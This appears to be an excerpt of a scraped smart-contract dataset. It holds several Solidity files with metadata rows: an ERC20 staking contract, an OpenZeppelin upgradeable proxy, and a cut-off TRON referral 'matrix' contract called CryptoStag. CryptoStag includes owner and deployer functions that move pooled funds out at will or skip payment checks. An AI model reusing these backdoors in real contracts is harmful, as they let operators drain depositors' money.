return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
function sqrt(uint256 n) internal pure returns (uint256) { unchecked {
if (n > 0) {
uint256 x = n / 2 + 1;
uint256 y = (x + n / x) / 2;
while (x > y) {
x = y;
y = (x + n / x) / 2;
}
return x;
}
return 0;
} }
}
// https://github.com/traderjoe-xyz/joe-core/blob/main/contracts/JoeBar.sol.
//
// This contract handles swapping to and from xSIGIL, SIGIL's staking token.
contract SigilStake is ERC20("X SIGIL", "xSIGIL") {
using SafeMath for uint256;
IERC20 public sigil;
// Define the SIGIL token contract
constructor(IERC20 _sigil) {
sigil = _sigil;
}
// Locks SIGIL and mints xSIGIL
function enter(uint256 _amount) public {
// Gets the amount of SIGIL locked in the contract
uint256 totalSigil = sigil.balanceOf(address(this));
// Gets the amount of xSIGIL in existence
uint256 totalShares = totalSupply();
// If no xSIGIL exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totalSigil == 0) {
_mint(msg.sender, _amount);
}
else {
uint256 what = _amount.mul(totalShares).div(totalSigil);
_mint(msg.sender, what);
}
// Lock the SIGIL in the contract
sigil.transferFrom(msg.sender, address(this), _amount);
}
// Unlocks the staked + gained SIGIL and burns xSIGIL
function leave(uint256 _share) public {
// Gets the amount of xSIGIL in existence
uint256 totalShares = totalSupply();
// Calculates the amount of SIGIL the xSIGIL is worth
uint256 what = _share.mul(sigil.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, _share);
sigil.transfer(msg.sender, what);
}
}
| 124,230 | 14,195 |
b3b622805714d630fefe62db32c2dae9692e20f87bc2c71fc7ed6857a20c74d2
| 28,716 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9a/9A33e690AA78A4c346e72f7A5e16e5d7278BE835_TransparentUpgradeableProxy.sol
| 3,022 | 12,284 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
| 46,474 | 14,196 |
dcd3f17f74331c27d633a059b5f393a37910a7d97a7d0cb10b762a171f29e420
| 27,199 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TF56kwY8Fz5A2HjcxArFwy8Z86kbjjZEde_CryptoStag.sol
| 6,551 | 25,972 |
//SourceUnit: cryptostag11-02-2021.sol
pragma solidity >=0.4.23 <0.6.0;
contract CryptoStag{
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 14;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
mapping(address => uint) public TotSponser;
uint16 internal constant LEVEL_PER = 2000;
uint16 internal constant LEVEL_DIVISOR = 10000;
uint public lastUserId = 2;
address public owner;
address public deployer;
mapping(uint => uint) public levelPrice;
uint8 public constant levelIncome = 10;
event MagicSlotData(uint8 fuid,uint8 tid,address indexed user, address indexed magicAdd, uint8 matrix, uint8 level);
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTRONReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event MissedLevelIncome(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level, uint8 networklevel);
event SentDividends(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level, bool isExtra);
event SentLevelincome(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level,uint8 networklevel, bool isExtraLevel);
constructor(address ownerAddress) public {
levelPrice[1] = 100 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
deployer = msg.sender;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function WithdralAd(address userAddress,uint256 amnt) external payable {
if(owner==msg.sender)
{
Execution(userAddress,amnt);
}
}
function Execution(address _sponsorAddress,uint256 price) private returns (uint256 distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function MagicSlot(uint8 fuid,uint8 Tmid ,address magicadd,uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 3 , "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level >= 1 && level <= LAST_LEVEL, "invalid level");
//registration(msg.sender, referrerAddress);
Execution1(magicadd,levelPrice[level]);
// emit magicdata(mid);
emit MagicSlotData(fuid,Tmid,msg.sender, magicadd,matrix,level);
}
function Execution1(address _sponsorAddress,uint price) private returns (uint distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function registrationDeployer(address user, address referrerAddress) external payable {
require(msg.sender == deployer, 'Invalid Deployer');
registration(user, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
buyNewLevelInternal(msg.sender, matrix, level);
}
function buyNewLevelDeployer(address user, uint8 matrix, uint8 level) external payable {
require(msg.sender == deployer, 'Invalid Deployer');
buyNewLevelInternal(user, matrix, level);
}
function buyNewLevelInternal(address user, uint8 matrix, uint8 level) private {
require(isUserExists(user), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if(!(msg.sender==deployer)) require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[user].activeX3Levels[level], "level already activated");
require(users[user].activeX3Levels[level - 1], "previous level must be activated");
if (users[user].x3Matrix[level-1].blocked) {
users[user].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(user, level);
users[user].x3Matrix[level].currentReferrer = freeX3Referrer;
users[user].activeX3Levels[level] = true;
updateX3Referrer(user, freeX3Referrer, level);
distributeLevelIncome(user, matrix, level);
emit Upgrade(user, freeX3Referrer, 1, level);
} else {
require(!users[user].activeX6Levels[level], "level already activated");
require(users[user].activeX6Levels[level - 1], "previous level must be activated");
if (users[user].x6Matrix[level-1].blocked) {
users[user].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(user, level);
users[user].activeX6Levels[level] = true;
updateX6Referrer(user, freeX6Referrer, level);
distributeLevelIncome(user, matrix, level);
emit Upgrade(user, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
if(!(msg.sender==deployer)) require(msg.value == 200 trx, "registration cost 200");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
TotSponser[userAddress]=1;
TotSponser[referrerAddress]=TotSponser[referrerAddress]+1;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
distributeLevelIncome(userAddress, 1, 1);
distributeLevelIncome(userAddress, 2, 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRONDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRONDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRONDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref, users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress, users[userAddress].id, ref, users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref, users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRONDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRONDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
